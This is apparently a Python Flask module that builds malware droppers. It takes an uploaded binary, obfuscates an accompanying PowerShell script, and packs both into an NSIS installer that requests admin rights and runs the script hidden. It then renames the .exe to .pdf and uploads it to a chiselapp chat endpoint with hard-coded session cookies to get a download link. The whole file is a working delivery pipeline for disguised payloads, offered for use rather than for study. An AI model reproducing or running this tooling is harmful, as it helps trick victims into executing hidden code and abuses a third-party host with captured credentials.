import os
import subprocess
import random
import string
from datetime import datetime
from flask import jsonify, send_file, current_app
import shutil
import tempfile
import requests
import json

BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
NSIS_COMPILER = "makensis"  # Ensure NSIS is installed on your Linux system
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")

SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
HEADERS = {
    "Host": "chiselapp.com",
    "Connection": "keep-alive",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
    "sec-ch-ua-platform": '"Linux"',
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
    "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
    "sec-ch-ua-mobile": "?0",
    "Accept": "*/*",
    "Origin": "https://chiselapp.com",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
    "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
}

def generate_random_string(length=8):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def obfuscate_powershell_script(ps1_path):
    try:
        cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
        process.stdin.write(f"{ps1_path}\n")
        process.stdin.flush()
        stdout, stderr = process.communicate()

        # Log the stdout and stderr for debugging
        current_app.logger.info(f"Obfuscation script stdout: {stdout}")
        current_app.logger.error(f"Obfuscation script stderr: {stderr}")

        if process.returncode != 0:
            raise Exception(f"Error obfuscating PowerShell script: {stderr}")

        # Check if the obfuscated file was created
        obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
        if not os.path.exists(obfuscated_file):
            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")

        return obfuscated_file
    except Exception as e:
        raise Exception(f"Obfuscation failed: {str(e)}")

def generate_nsi_script(folder_path, bin_file, ps1_file):
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")

    # NSIS script template
    NSIS_SCRIPT_TEMPLATE = r"""
    ; NeuraScope Insight Installer Script
    !include "MUI2.nsh"
    !include "LogicLib.nsh"
    ; Basic definitions
    Name "ProductName"
    OutFile "{installer_output}"
    InstallDir "$WINDIR\..\ProgramData\Installer"
    RequestExecutionLevel admin
    SetCompressor /SOLID lzma
    SetCompressorDictSize 96
    SetDatablockOptimize ON
    ; Interface settings
    !define MUI_ICON "/path/to/icon.ico"
    !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
    !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
    ; Pages
    !insertmacro MUI_PAGE_WELCOME
    !insertmacro MUI_PAGE_INSTFILES
    !insertmacro MUI_LANGUAGE "English"
    ; Basic Version Information
    VIProductVersion "1.0.0.0"
    VIAddVersionKey "ProductName" "ProductName"
    VIAddVersionKey "CompanyName" "CompanyName"
    VIAddVersionKey "LegalCopyright" "LegalCopyright"
    VIAddVersionKey "FileVersion" "1.0.0.0"
    VIAddVersionKey "FileDescription" "FileDescription"
    ShowInstDetails hide
    AutoCloseWindow true
    Section "MainSection" SEC01
        SetDetailsPrint none
        SetOutPath "$WINDIR\..\ProgramData\Installer"
        File "{bin_file}"
        File "{ps1_file}"
        ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
        SetAutoClose true
    SectionEnd
    """
    
    script_content = NSIS_SCRIPT_TEMPLATE.format(
        installer_output=installer_output,
        bin_file=bin_file,
        ps1_file=ps1_file,
    )
    
    nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
    with open(nsi_file_path, 'w') as file:
        file.write(script_content)
    
    return nsi_file_path, installer_output

def compile_nsi_script(nsi_file_path):
    try:
        compile_cmd = [NSIS_COMPILER, nsi_file_path]
        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
        if compile_result.returncode != 0:
            raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
        return compile_result
    except subprocess.CalledProcessError as e:
        raise Exception(f"Compilation failed: {str(e)}")
    except Exception as e:
        raise Exception(f"Unexpected error during compilation: {str(e)}")

def upload_file_to_server(file_path):
    try:
        # Rename the file to have a .pdf extension
        new_file_path = file_path.replace('.exe', '.pdf')
        os.rename(file_path, new_file_path)

        # Ensure the file exists
        if not os.path.exists(new_file_path):
            raise FileNotFoundError(f"File {new_file_path} not found.")

        # Prepare the file and data for upload
        file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
        # Additional form data
        data = {
            'lmtime': '2024-12-31T18:33:58'
        }

        # Send the POST request with file and form data
        response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)

        # Check the response
        if response.status_code == 200:
            # Assuming the response contains the URL with the ID
            json_file = 'file_info.json'

            # Check if the file_info.json exists
            if os.path.exists(json_file):
                with open(json_file, 'r') as f:
                    file_info = json.load(f)
            else:
                file_info = {}

            # Initialize or increment the init_ID (last_id)
            if 'init_ID' not in file_info:
                file_info['init_ID'] = 1  # Start with ID 1 if not present
            else:
                file_info['init_ID'] += 1  # Increment the ID for the next upload

            # Get the current ID to be used for the next upload
            current_id = file_info['init_ID']

            # Generate the download URL for the uploaded file using the current ID
            download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"

            # Update the JSON with the new entry for this upload
            file_info[current_id] = {
                'file_name': os.path.basename(new_file_path),
                'url': download_url
            }

            # Write the updated file_info to the JSON file
            with open(json_file, 'w') as f:
                json.dump(file_info, f, indent=4)

            return download_url
        else:
            raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
    except Exception as e:
        raise Exception(f"File upload failed: {str(e)}")

def process_request(request):
    temp_dir = None  # Initialize temp_dir to be used in the finally block
    try:
        # Save the incoming binary file
        if 'file' not in request.files:
            raise ValueError("No file part in the request")
        
        file = request.files['file']
        if file.filename == '':
            raise ValueError("No selected file")

        random_folder = generate_random_string()
        temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
        bin_path = os.path.join(temp_dir, file.filename)
        file.save(bin_path)

        # Extract the file name from the full binary path
        bin_file_name = os.path.basename(bin_path)

        # Create the PowerShell script with the provided content
        ps1_content = f'''
start notepad
'''
        ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
        with open(ps1_path, 'w') as ps1_file:
            ps1_file.write(ps1_content)

        # Obfuscate the PowerShell script
        obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)

        # Check if the obfuscated file exists before renaming
        if not os.path.exists(obfuscated_ps1_path):
            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")

        # Rename the obfuscated file to Verification.ps1
        verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
        os.rename(obfuscated_ps1_path, verification_ps1_path)

        # Generate and compile the NSIS script
        nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
        compile_nsi_script(nsi_file_path)

        # Upload the resulting EXE file (renamed to PDF) to the server
        download_url = upload_file_to_server(installer_output)

        # Return the download URL in the response
        return jsonify({"download_url": download_url})

    except Exception as e:
        current_app.logger.error(f"An error occurred: {str(e)}")
        return jsonify({"error": str(e)}), 500
    finally:
        # Clean up temporary directories and files
        if temp_dir and os.path.exists(temp_dir):
            shutil.rmtree(temp_dir, ignore_errors=True)